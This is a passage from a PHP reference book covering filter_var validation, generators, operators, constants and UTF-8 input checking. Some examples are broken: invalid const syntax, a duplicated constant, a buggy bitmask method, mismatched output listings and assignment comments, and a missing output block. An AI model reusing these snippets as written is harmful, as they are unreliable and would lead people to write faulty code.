var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

Results:

string(1) "1"
string(1) "1"
string(1) "1"

Complete PHP Tips & Secrets for Professionals 161

string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(10) "18281e-009"

Section 32.12: Validate IP Addresses

Validates a value is a valid IP address

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP));
var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP));
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP));

Results:

string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
string(11) "192.168.0.1"
string(9) "127.0.0.1"

Validate an valid IPv4 IP address:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4));
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));

Results:

string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
string(9) "127.0.0.1"

Validate an valid IPv6 IP address:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,
FILTER_FLAG_IPV6));
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));

Results:

bool(false)
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
bool(false)

Validate an IP address is not in a private range:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE));

Complete PHP Tips & Secrets for Professionals 162

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));

Results:

string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
string(9) "127.0.0.1"

Validate an IP address is not in a reserved range:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,
FILTER_FLAG_NO_RES_RANGE));
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));

Results:

string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
bool(false)

Section 32.13: Sanitize filters

we can use filters to sanitize our variable according to our need.

Example

$string = "<p>Example</p>";
$newstring = filter_var($string, FILTER_SANITIZE_STRING);
var_dump($newstring); // string(7) "Example"

above will remove the html tags from $string variable.

Chapter 33: Generators

Section 33.1: The Yield Keyword
A yield statement is similar to a return statement, except that instead of stopping execution of the function and
returning, yield instead returns a Generator object and pauses execution of the generator function.

Here is an example of the range function, written as a generator:

function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}

You can see that this function returns a Generator object by inspecting the output of var_dump:

var_dump(gen_one_to_three())

# Outputs:
class Generator (0) {
}

Complete PHP Tips & Secrets for Professionals 163

Yielding Values

The Generator object can then be iterated over like an array.

foreach (gen_one_to_three() as $value) {

echo "$value\n";
}

The above example will output:

1
2
3
Yielding Values with Keys

In addition to yielding values, you can also yield key/value pairs.

function gen_one_to_three() {
$keys = ["first", "second", "third"];

for ($i = 1; $i <= 3; $i++) {

// Note that $i is preserved between yields.
yield $keys[$i - 1] => $i;
}
}

foreach (gen_one_to_three() as $key => $value) {

echo "$key: $value\n";
}

The above example will output:

first: 1
second: 2
third: 3

Section 33.2: Reading a large file with a generator

One common use case for generators is reading a file from disk and iterating over its contents. Below is a class that
allows you to iterate over a CSV file. The memory usage for this script is very predictable, and will not fluctuate
depending on the size of the CSV file.

<?php

class CsvReader
{
protected $file;

public function __construct($filePath) {

$this->file = fopen($filePath, 'r');
}

public function rows()

{
while (!feof($this->file)) {
$row = fgetcsv($this->file, 4096);

yield $row;
}

return;

Complete PHP Tips & Secrets for Professionals 164

 }
}

$csv = new CsvReader('/path/to/huge/csv/file.csv');

foreach ($csv->rows() as $row) {

// Do something with the CSV row.
}

Section 33.3: Why use a generator?

Generators are useful when you need to generate a large collection to later iterate over. They're a simpler
alternative to creating a class that implements an Iterator, which is often overkill.

For example, consider the below function.

function randomNumbers(int $length)

{
$array = [];

for ($i = 0; $i < $length; $i++) {

$array[] = mt_rand(1, 10);
}

return $array;
}

All this function does is generates an array that's filled with random numbers. To use it, we might do
randomNumbers(10), which will give us an array of 10 random numbers. What if we want to generate one million
random numbers? randomNumbers(1000000) will do that for us, but at a cost of memory. One million integers
stored in an array uses approximately 33 megabytes of memory.

$startMemory = memory_get_usage();

$randomNumbers = randomNumbers(1000000);

echo memory_get_usage() - $startMemory, ' bytes';

This is due to the entire one million random numbers being generated and returned at once, rather than one at a
time. Generators are an easy way to solve this issue.

Section 33.4: Using the send()-function to pass values to a generator

Generators are fast coded and in many cases a slim alternative to heavy iterator-implementations. With the fast
implementation comes a little lack of control when a generator should stop generating or if it should generate
something else. However this can be achieved with the usage of the send() function, enabling the requesting
function to send parameters to the generator after every loop.

//Imagining accessing a large amount of data from a server, here is the generator for this:
function generateDataFromServerDemo()
{
$indexCurrentRun = 0; //In this example in place of data from the server, I just send feedback
everytime a loop ran through.

$timeout = false;
while (!$timeout)
{
$timeout = yield $indexCurrentRun; // Values are passed to caller. The next time the
generator is called, it will start at this statement. If send() is used, $timeout will take this
value.

Complete PHP Tips & Secrets for Professionals 165

 $indexCurrentRun++;
}

yield 'X of bytes are missing. </br>';

}

// Start using the generator

$generatorDataFromServer = generateDataFromServerDemo ();
foreach($generatorDataFromServer as $numberOfRuns)
{
if ($numberOfRuns < 10)
{
echo $numberOfRuns . "</br>";
}
else
{
$generatorDataFromServer->send(true); //sending data to the generator
echo $generatorDataFromServer->current(); //accessing the latest element (hinting how many
bytes are still missing.
}
}

Resulting in this Output:

Chapter 34: Operators

An operator is something that takes one or more values (or expressions, in programming jargon) and yields
another value (so that the construction itself becomes an expression).

Operators can be grouped according to the number of values they take.

Section 34.1: Null Coalescing Operator (??)

Null coalescing is a new operator introduced in PHP 7. This operator returns its first operand if it is set and not
NULL. Otherwise it will return its second operand.

The following example:

$name = $_POST['name'] ?? 'nobody';

is equivalent to both:

if (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}

Complete PHP Tips & Secrets for Professionals 166

and:

$name = isset($_POST['name']) ? $_POST['name'] : 'nobody';

This operator can also be chained (with right-associative semantics):

$name = $_GET['name'] ?? $_POST['name'] ?? 'nobody';

which is an equivalent to:

if (isset($_GET['name'])) {
$name = $_GET['name'];
} elseif (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}

Note:
When using coalescing operator on string concatenation dont forget to use parentheses ()

$firstName = "John";
$lastName = "Doe";
echo $firstName ?? "Unknown" . " " . $lastName ?? "";

This will output John only, and if its $firstName is null and $lastName is Doe it will output Unknown Doe. In order to
output John Doe, we must use parentheses like this.

$firstName = "John";
$lastName = "Doe";
echo ($firstName ?? "Unknown") . " " . ($lastName ?? "");

This will output John Doe instead of John only.

Section 34.2: Spaceship Operator (<=>)

PHP 7 introduces a new kind of operator, which can be used to compare expressions. This operator will return -1, 0
or 1 if the first expression is less than, equal to, or greater than the second expression.

// Integers
print (1 <=> 1); // 0
print (1 <=> 2); // -1
print (2 <=> 1); // 1

// Floats
print (1.5 <=> 1.5); // 0
print (1.5 <=> 2.5); // -1
print (2.5 <=> 1.5); // 1

// Strings
print ("a" <=> "a"); // 0
print ("a" <=> "b"); // -1
print ("b" <=> "a"); // 1

Objects are not comparable, and so doing so will result in undefined behaviour.

This operator is particularly useful when writing a user-defined comparison function using usort, uasort, or
uksort. Given an array of objects to be sorted by their weight property, for example, an anonymous function can
use <=> to return the value expected by the sorting functions.

Complete PHP Tips & Secrets for Professionals 167

usort($list, function($a, $b) { return $a->weight <=> $b->weight; });

In PHP 5 this would have required a rather more elaborate expression.

usort($list, function($a, $b) {

return $a->weight < $b->weight ? -1 : ($a->weight == $b->weight ? 0 : 1);
});

Section 34.3: Execution Operator (``)

The PHP execution operator consists of backticks (``) and is used to run shell commands. The output of the
command will be returned, and may, therefore, be stored in a variable.

// List files
$output = `ls`;
echo "<pre>$output</pre>";

Note that the execute operator and shell_exec() will give the same result.

Section 34.4: Incrementing (++) and Decrementing Operators (--)

Variables can be incremented or decremented by 1 with ++ or --, respectively. They can either precede or succeed
variables and slightly vary semantically, as shown below.

$i = 1;
echo $i; // Prints 1

// Pre-increment operator increments $i by one, then returns $i

echo ++$i; // Prints 2

// Pre-decrement operator decrements $i by one, then returns $i

echo --$i; // Prints 1

// Post-increment operator returns $i, then increments $i by one

echo $i++; // Prints 1 (but $i value is now 2)

// Post-decrement operator returns $i, then decrements $i by one

echo $i--; // Prints 2 (but $i value is now 1)

More information about incrementing and decrementing operators can be found in the official documentation.

Section 34.5: Ternary Operator (?:)

The ternary operator can be thought of as an inline if statement. It consists of three parts. The operator, and two
outcomes. The syntax is as follows:

$value = <operator> ? <true value> : <false value>

If the operator is evaluated as true, the value in the first block will be returned (<true value>), else the value in the
second block will be returned (<false value>). Since we are setting $value to the result of our ternary operator it
will store the returned value.

Example:

$action = empty($_POST['action']) ? 'default' : $_POST['action'];

$action would contain the string 'default' if empty($_POST['action']) evaluates to true. Otherwise it would
contain the value of $_POST['action'].

The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1evaluates to true, and expr3 if expr1

Complete PHP Tips & Secrets for Professionals 168

evaluates to false.

It is possible to leave out the middle part of the ternary operator. Expression expr1 ?: expr3 returns expr1 if expr1
evaluates to TRUE, and expr3 otherwise. ?: is often referred to as Elvis operator.

This behaves like the Null Coalescing operator ??, except that ?? requires the left operand to be exactly null while
?: tries to resolve the left operand into a boolean and check if it resolves to boolean false.

Example:

function setWidth(int $width = 0){

$_SESSION["width"] = $width ?: getDefaultWidth();
}

In this example, setWidth accepts a width parameter, or default 0, to change the width session value. If $width is 0
(if $width is not provided), which will resolve to boolean false, the value of getDefaultWidth() is used instead. The
getDefaultWidth() function will not be called if $width did not resolve to boolean false.

Refer to Types for more information about conversion of variables to boolean.

Section 34.6: Logical Operators (&&/AND and ||/OR)

In PHP, there are two versions of logical AND and OR operators.

Operator True if
$a and $b Both $a and $b are true
$a && $b Both $a and $b are true
$a or $b Either $a or $b is true
$a || $b Either $a or $b is true

Note that the && and || opererators have higher precedence than and and or. See table below:

Evaluation Result of $e Evaluated as

$e = false || true True $e = (false || true)
$e = false or true False ($e = false) or true

Because of this it's safer to use && and || instead of and and or.

Section 34.7: String Operators (. and .=)

There are only two string operators:

Concatenation of two strings (dot):

$a = "a";
$b = "b";
$c = $a . $b; // $c => "ab"

Concatenating assignment (dot=):

$a = "a";
$a .= "b"; // $a => "ab"

Section 34.8: Object and Class Operators

Members of objects or classes can be accessed using the object operator (->) and the class operator (::).

class MyClass {

Complete PHP Tips & Secrets for Professionals 169

 public $a = 1;
public static $b = 2;
const C = 3;
public function d() { return 4; }
public static function e() { return 5; }
}

$object = new MyClass();

var_dump($object->a); // int(1)
var_dump($object::$b); // int(2)
var_dump($object::C); // int(3)
var_dump(MyClass::$b); // int(2)
var_dump(MyClass::C); // int(3)
var_dump($object->d()); // int(4)
var_dump($object::d()); // int(4)
var_dump(MyClass::e()); // int(5)
$classname = "MyClass";
var_dump($classname::e()); // also works! int(5)

Note that after the object operator, the $ should not be written ($object->a instead of $object->$a). For the class
operator, this is not the case and the $ is necessary. For a constant defined in the class, the $ is never used.

Also note that var_dump(MyClass::d()); is only allowed if the function d() does not reference the object:

class MyClass {
private $a = 1;
public function d() {
return $this->a;
}
}

$object = new MyClass();

var_dump(MyClass::d()); // Error!

This causes a 'PHP Fatal error: Uncaught Error: Using $this when not in object context'

These operators have left associativity, which can be used for 'chaining':

class MyClass {
private $a = 1;

public function add(int $a) {

$this->a += $a;
return $this;
}

public function get() {

return $this->a;
}
}

$object = new MyClass();

var_dump($object->add(4)->get()); // int(5)

These operators have the highest precedence (they are not even mentioned in the manual), even higher that clone.
Thus:

class MyClass {
private $a = 0;
public function add(int $a) {
$this->a += $a;

Complete PHP Tips & Secrets for Professionals 170

 return $this;
}
public function get() {
return $this->a;
}
}

$o1 = new MyClass();

$o2 = clone $o1->add(2);
var_dump($o1->get()); // int(2)
var_dump($o2->get()); // int(2)

The value of $o1 is added to before the object is cloned!

Note that using parentheses to influence precedence did not work in PHP version 5 and older (it does in PHP 7):

// using the class MyClass from the previous code

$o1 = new MyClass();
$o2 = (clone $o1)->add(2); // Error in PHP 5 and before, fine in PHP 7
var_dump($o1->get()); // int(0) in PHP 7
var_dump($o2->get()); // int(2) in PHP 7

Section 34.9: Combined Assignment (+= etc)

The combined assignment operators are a shortcut for an operation on some variable and subsequently assigning
this new value to that variable.

Arithmetic:

$a = 1; // basic assignment
$a += 2; // read as '$a = $a + 2'; $a now is (1 + 2) => 3
$a -= 1; // $a now is (3 - 1) => 2
$a *= 2; // $a now is (2 * 2) => 4
$a /= 2; // $a now is (16 / 2) => 8
$a %= 5; // $a now is (8 % 5) => 3 (modulus or remainder)

// array +
$arrOne = array(1);
$arrTwo = array(2);
$arrOne += $arrTwo;

Processing Multiple Arrays Together

$a **= 2; // $a now is (4 ** 2) => 16 (4 raised to the power of 2)

Combined concatenation and assignment of a string:

$a = "a";
$a .= "b"; // $a => "ab"

Combined binary bitwise assignment operators:

$a = 0b00101010; // $a now is 42
$a &= 0b00001111; // $a now is (00101010 & 00001111) => 00001010 (bitwise and)
$a |= 0b00100010; // $a now is (00001010 | 00100010) => 00101010 (bitwise or)
$a ^= 0b10000010; // $a now is (00101010 ^ 10000010) => 10101000 (bitwise xor)
$a >>= 3; // $a now is (10101000 >> 3) => 00010101 (shift right by 3)
$a <<= 1; // $a now is (00010101 << 1) => 00101010 (shift left by 1)

Complete PHP Tips & Secrets for Professionals 171

Section 34.10: Altering operator precedence (with parentheses)
The order in which operators are evaluated is determined by the operator precedence (see also the Remarks
section).

In

$a = 2 * 3 + 4;

$a gets a value of 10 because 2 * 3 is evaluated first (multiplication has a higher precedence than addition) yielding
a sub-result of 6 + 4, which equals to 10.

The precedence can be altered using parentheses: in

$a = 2 * (3 + 4);

$a gets a value of 14 because (3 + 4) is evaluated first.

Section 34.11: Basic Assignment (=)

$a = "some string";

results in $a having the value some string.

The result of an assignment expression is the value being assigned. Note that a single equal sign = is NOT for
comparison!

$a = 3;
$b = ($a = 5);

does the following:

1. Line 1 assigns 3 to $a.

2. Line 2 assigns 5 to $a. This expression yields value 5 as well.
3. Line 2 then assigns the result of the expression in parentheses (5) to $b.

Thus: both $a and $b now have value 5.

Section 34.12: Association

Left association

If the preceedence of two operators is equal, the associativity determines the grouping (see also the Remarks
section):

$a = 5 * 3 % 2; // $a now is (5 * 3) % 2 => (15 % 2) => 1

* and % have equal precedence and left associativity. Because the multiplication occurs first (left), it is grouped.

$a = 5 % 3 * 2; // $a now is (5 % 3) * 2 => (2 * 2) => 4

Now, the modulus operator occurs first (left) and is thus grouped.

Right association
$a = 1;
$b = 1;
$a = $b += 1;

Both $a and $b now have value 2 because $b += 1 is grouped and then the result ($b is 2) is assigned to $a.

Complete PHP Tips & Secrets for Professionals 172

Section 34.13: Comparison Operators
Equality

For basic equality testing, the equal operator == is used. For more comprehensive checks, use the identical operator
===.

The identical operator works the same as the equal operator, requiring its operands have the same value, but also
requires them to have the same data type.

For example, the sample below will display 'a and b are equal', but not 'a and b are identical'.

$a = 4;
$b = '4';
if ($a == $b) {
echo 'a and b are equal'; // this will be printed
}
if ($a === $b) {
echo 'a and b are identical'; // this won't be printed
}

When using the equal operator, numeric strings are cast to integers.

Comparison of objects

=== compares two objects by checking if they are exactly the same instance. This means that new stdClass() ===
new stdClass() resolves to false, even if they are created in the same way (and have the exactly same values).

== compares two objects by recursively checking if they are equal (deep equals). That means, for $a == $b, if $a and
$b are:

1. of the same class

2. have the same properties set, including dynamic properties
3. for each property $property set, $a->property == $b->property is true (hence recursively checked).

Other commonly used operators

They include:

1. Greater Than (>)

2. Lesser Than (<)
3. Greater Than Or Equal To (>=)
4. Lesser Than Or Equal To (<=)
5. Not Equal To (!=)
6. Not Identically Equal To (!==)

1. Greater Than: $a > $b, returns true if $a's value is greater than of $b, otherwise returns false.

Example:

var_dump(5 > 2); // prints bool(true)

var_dump(2 > 7); // prints bool(false)

2. Lesser Than: $a < $b, returns true if $a's value is smaller that of $b, otherwise returns false.

Example:

var_dump(5 < 2); // prints bool(false)

Complete PHP Tips & Secrets for Professionals 173

var_dump(1 < 10); // prints bool(true)

3. Greater Than Or Equal To: $a >= $b, returns true if $a's value is either greater than of $b or equal to $b,
otherwise returns false.

Example:

var_dump(2 >= 2); // prints bool(true)

var_dump(6 >= 1); // prints bool(true)
var_dump(1 >= 7); // prints bool(false)

4. Smaller Than Or Equal To: $a <= $b, returns true if $a's value is either smaller than of $b or equal to $b,
otherwise returns false.

Example:

var_dump(5 <= 5); // prints bool(true)

var_dump(5 <= 8); // prints bool(true)
var_dump(9 <= 1); // prints bool(false)

5/6. Not Equal/Identical To: To rehash the earlier example on equality, the sample below will display 'a and b are
not identical', but not 'a and b are not equal'.

$a = 4;
$b = '4';
if ($a != $b) {
echo 'a and b are not equal'; // this won't be printed
}
if ($a !== $b) {
echo 'a and b are not identical'; // this will be printed
}

Section 34.14: Bitwise Operators

Prefix bitwise operators

Bitwise operators are like logical operators but executed per bit rather than per boolean value.

// bitwise NOT ~: sets all unset bits and unsets all set bits
printf("%'06b", ~0b110110); // 001001
Bitmask-bitmask operators

Bitwise AND &: a bit is set only if it is set in both operands

printf("%'06b", 0b110101 & 0b011001); // 010001

Bitwise OR |: a bit is set if it is set in either or both operands

printf("%'06b", 0b110101 | 0b011001); // 111101

Bitwise XOR ^: a bit is set if it is set in one operand and not set in another operand, i.e. only if that bit is in different
state in the two operands

printf("%'06b", 0b110101 ^ 0b011001); // 101100

Example uses of bitmasks

These operators can be used to manipulate bitmasks. For example:

file_put_contents("file.log", LOCK_EX | FILE_APPEND);

Complete PHP Tips & Secrets for Professionals 174

Here, the | operator is used to combine the two bitmasks. Although + has the same effect, | emphasizes that you
are combining bitmasks, not adding two normal scalar integers.

class Foo{
const OPTION_A = 1;
const OPTION_B = 2;
const OPTION_C = 4;
const OPTION_A = 8;

private $options = self::OPTION_A | self::OPTION_C;

public function toggleOption(int $option){

$this->options ^= $option;
}

public function enable(int $option){

$this->options |= $option; // enable $option regardless of its original state
}

public function disable(int $option){

$this->options &= ~$option; // disable $option regardless of its original state,
// without affecting other bits
}

/** returns whether at least one of the options is enabled */

public function isOneEnabled(int $options) : bool{
return $this->options & $option !== 0;
// Use !== rather than >, because
// if $options is about a high bit, we may be handling a negative integer
}

/** returns whether all of the options are enabled */

public function areAllEnabled(int $options) : bool{
return ($this->options & $options) === $options;
// note the parentheses; beware the operator precedence
}
}

This example (assuming $option always only contain one bit) uses:

the ^ operator to conveniently toggle bitmasks.

the | operator to set a bit neglecting its original state or other bits
the ~ operator to convert an integer with only one bit set into an integer with only one bit not set
the & operator to unset a bit, using these properties of &:
Since &= with a set bit will not do anything ((1 & 1) === 1, (0 & 1) === 0), doing &= with an integer
with only one bit not set will only unset that bit, not affecting other bits.
&= with an unset bit will unset that bit ((1 & 0) === 0, (0 & 0) === 0)
Using the & operator with another bitmask will filter away all other bits not set in that bitmask.
If the output has any bits set, it means that any one of the options are enabled.
If the output has all bits of the bitmask set, it means that all of the options in the bitmask are enabled.

Bear in mind that these comparison operators: (< > <= >= == === != !== <> <=>) have higher precedence than these
bitmask-bitmask operators: (| ^ &). As bitwise results are often compared using these comparison operators, this is
a common pitfall to be aware of.

Bit-shifting operators

Bitwise left shift <<: shift all bits to the left (more significant) by the given number of steps and discard the bits

Complete PHP Tips & Secrets for Professionals 175

exceeding the int size

<< $x is equivalent to unsetting the highest $x bits and multiplying by the $xth power of 2

printf("%'08b", 0b00001011<< 2); // 00101100

assert(PHP_INT_SIZE === 4); // a 32-bit system

printf("%x, %x", 0x5FFFFFFF << 2, 0x1FFFFFFF << 4); // 7FFFFFFC, FFFFFFFF

Bitwise right shift >>: discard the lowest shift and shift the remaining bits to the right (less significant)

>> $x is equivalent to dividing by the $xth power of 2 and discard the non-integer part

printf("%x", 0xFFFFFFFF >> 3); // 1FFFFFFF

Example uses of bit shifting:

Fast division by 16 (better performance than /= 16)

$x >>= 4;

On 32-bit systems, this discards all bits in the integer, setting the value to 0. On 64-bit systems, this unsets the most
significant 32 bits and keep the least

$x = $x << 32 >> 32;

significant 32 bits, equivalent to $x & 0xFFFFFFFF

Note: In this example, printf("%'06b") is used. It outputs the value in 6 binary digits.

Section 34.15: instanceof (type operator)

For checking whether some object is of a certain class, the (binary) instanceof operator can be used since PHP
version 5.

The first (left) parameter is the object to test. If this variable is not an object, instanceof always returns false. If a
constant expression is used, an error is thrown.

The second (right) parameter is the class to compare with. The class can be provided as the class name itself, a
string variable containing the class name (not a string constant!) or an object of that class.

class MyClass {
}

$o1 = new MyClass();

$o2 = new MyClass();
$name = 'MyClass';

// in the cases below, $a gets boolean value true

$a = $o1 instanceof MyClass;
$a = $o1 instanceof $name;
$a = $o1 instanceof $o2;

// counter examples:
$b = 'b';
$a = $o1 instanceof 'MyClass'; // parse error: constant not allowed
$a = false instanceof MyClass; // fatal error: constant not allowed
$a = $b instanceof MyClass; // false ($b is not an object)

instanceof can also be used to check whether an object is of some class which extends another class or
implements some interface:

Complete PHP Tips & Secrets for Professionals 176

interface MyInterface {
}

class MySuperClass implements MyInterface {

}

class MySubClass extends MySuperClass {

}

$o = new MySubClass();

// in the cases below, $a gets boolean value true

$a = $o instanceof MySubClass;
$a = $o instanceof MySuperClass;
$a = $o instanceof MyInterface;

To check whether an object is not of some class, the not operator (!) can be used:

class MyClass {
}

class OtherClass {
}

$o = new MyClass();
$a = !$o instanceof OtherClass; // true

Note that parentheses around $o instanceof MyClass are not needed because instanceof has higher precedence
than !, although it may make the code better readable with parentheses.

Caveats

If a class does not exist, the registered autoload functions are called to try to define the class (this is a topic outside
the scope of this part of the Documentation!). In PHP versions before 5.1.0, the instanceof operator would also
trigger these calls, thus actually defining the class (and if the class could not be defined, a fatal error would occur).
To avoid this, use a string:

// only PHP versions before 5.1.0!

class MyClass {
}

$o = new MyClass();
$a = $o instanceof OtherClass; // OtherClass is not defined!
// if OtherClass can be defined in a registered autoloader, it is actually
// loaded and $a gets boolean value false ($o is not a OtherClass)
// if OtherClass can not be defined in a registered autoloader, a fatal
// error occurs.

$name = 'YetAnotherClass';
$a = $o instanceof $name; // YetAnotherClass is not defined!
// $a simply gets boolean value false, YetAnotherClass remains undefined.

As of PHP version 5.1.0, the registered autoloaders are not called anymore in these situations.

Older versions of PHP (before 5.0)

In older versions of PHP (before 5.0), the is_a function can be used to determine wether an object is of some class.
This function was deprecated in PHP version 5 and undeprecated in PHP version 5.3.0.

Complete PHP Tips & Secrets for Professionals 177

Chapter 35: Constants
define ( string $name , mixed $value [, bool $case_insensitive = false ] )
const CONSTANT_NAME = VALUE;

Section 35.1: Defining constants

Constants are created using the const statement or the define function. The convention is to use UPPERCASE
letters for constant names.

Define constant using explicit values

const PI = 3.14; // float
define("EARTH_IS_FLAT", false); // boolean
const "UNKNOWN" = null; // null
define("APP_ENV", "dev"); // string
const MAX_SESSION_TIME = 60 * 60; // integer, using (scalar) expressions is ok

const APP_LANGUAGES = ["de", "en"]; // arrays

define("BETTER_APP_LANGUAGES", ["lu", "de"]); // arrays

Define constant using another constant

if you have one constant you can define another one based on it:

const TAU = PI * 2;
define("EARTH_IS_ROUND", !EARTH_IS_FLAT);
define("MORE_UNKNOWN", UNKNOWN);
define("APP_ENV_UPPERCASE", strtoupper(APP_ENV)); // string manipulation is ok too
// the above example (a function call) does not work with const:
// const TIME = time(); # fails with a fatal error! Not a constant scalar expression
define("MAX_SESSION_TIME_IN_MINUTES", MAX_SESSION_TIME / 60);

const APP_FUTURE_LANGUAGES = [-1 => "es"] + APP_LANGUAGES; // array manipulations

define("APP_BETTER_FUTURE_LANGUAGES", array_merge(["fr"], APP_BETTER_LANGUAGES));

Reserved constants

Some constant names are reserved by PHP and cannot be redefined. All these examples will fail:

define("true", false); // internal constant

define("false", true); // internal constant
define("CURLOPT_AUTOREFERER", "something"); // will fail if curl extension is loaded

And a Notice will be issued:

Constant ... already defined in ...

Conditional defines

If you have several files where you may define the same variable (for example, your main config then your local
config) then following syntax may help avoiding conflicts:

defined("PI") || define("PI", 3.1415); // "define PI if it's not yet defined"

const vs define

define is a runtime expression while const a compile time one.

Thus define allows for dynamic values (i.e. function calls, variables etc.) and even dynamic names and conditional

Complete PHP Tips & Secrets for Professionals 178

definition. It however is always defining relative to the root namespace.

const is static (as in allows only operations with other constants, scalars or arrays, and only a restricted set of them,
the so called constant scalar expressions, i.e. arithmetic, logical and comparison operators as well as array
dereferencing), but are automatically namespace prefixed with the currently active namespace.

const only supports other constants and scalars as values, and no operations.

Section 35.2: Class Constants

Constants can be defined inside classes using a const keyword.

class Foo {
const BAR_TYPE = "bar";

// reference from inside the class using self::

public function myMethod() {
return self::BAR_TYPE;
}
}

// reference from outside the class using <ClassName>::

echo Foo::BAR_TYPE;

This is useful to store types of items.

<?php

class Logger {
const LEVEL_INFO = 1;
const LEVEL_WARNING = 2;
const LEVEL_ERROR = 3;

// we can even assign the constant as a default value

public function log($message, $level = self::LEVEL_INFO) {
echo "Message level " . $level . ": " . $message;
}
}

$logger = new Logger();

$logger->log("Info"); // Using default value
$logger->log("Warning", $logger::LEVEL_WARNING); // Using var
$logger->log("Error", Logger::LEVEL_ERROR); // using class

Section 35.3: Checking if constant is defined

Simple check

To check if constant is defined use the defined function. Note that this function doesn't care about constant's
value, it only cares if the constant exists or not. Even if the value of the constant is null or false the function will
still return true.

<?php

define("GOOD", false);

if (defined("GOOD")) {
print "GOOD is defined" ; // prints "GOOD is defined"

if (GOOD) {

Complete PHP Tips & Secrets for Professionals 179

 print "GOOD is true" ; // does not print anything, since GOOD is false
}
}

if (!defined("AWESOME")) {
define("AWESOME", true); // awesome was not defined. Now we have defined it
}

Note that constant becomes "visible" in your code only after the line where you have defined it:

<?php

if (defined("GOOD")) {
print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet.
}

define("GOOD", false);

if (defined("GOOD")) {
print "GOOD is defined"; // prints "GOOD is defined"
}
Getting all defined constants

To get all defined constants including those created by PHP use the get_defined_constants function:

<?php

$constants = get_defined_constants();
var_dump($constants); // pretty large list

To get only those constants that were defined by your app call the function at the beginning and at the end of your
script (normally after the bootstrap process):

<?php

$constants = get_defined_constants();

define("HELLO", "hello");
define("WORLD", "world");

$new_constants = get_defined_constants();

$myconstants = array_diff_assoc($new_constants, $constants);

var_export($myconstants);

/*
Output:

array (
'HELLO' => 'hello',
'WORLD' => 'world',
)
*/

It's sometimes useful for debugging

Section 35.4: Using constants

To use the constant simply use its name:

if (EARTH_IS_FLAT) {

Complete PHP Tips & Secrets for Professionals 180

 print "Earth is flat";
}

print APP_ENV_UPPERCASE;

or if you don't know the name of the constant in advance, use the constant function:

// this code is equivalent to the above code

$const1 = "EARTH_IS_FLAT";
$const2 = "APP_ENV_UPPERCASE";

if (constant($const1)) {
print "Earth is flat";
}

print constant($const2);

Section 35.5: Constant arrays

Arrays can be used as plain constants and class constants from version PHP 5.6 onwards:

Class constant example

class Answer {
const C = [2,4];
}

print Answer::C[1] . Answer::C[0]; // 42

Plain constant example
const ANSWER = [2,4];
print ANSWER[1] . ANSWER[0]; // 42

Also from version PHP 7.0 this functionality was ported to the define function for plain constants.

define('VALUES', [2, 3]);

define('MY_ARRAY', [
1,
VALUES,
]);

print MY_ARRAY[1][1]; // 3

Chapter 36: UTF-8

Section 36.1: Input

You should verify every received string as being valid UTF-8 before you try to store it or use it anywhere.
PHP's mb_check_encoding() does the trick, but you have to use it consistently. There's really no way around
this, as malicious clients can submit data in whatever encoding they want.

$string = $_REQUEST['user_comment'];
if (!mb_check_encoding($string, 'UTF-8')) {
// the string is not UTF-8, so re-encode it.
$actualEncoding = mb_detect_encoding($string);
$string = mb_convert_encoding($string, 'UTF-8', $actualEncoding);
}

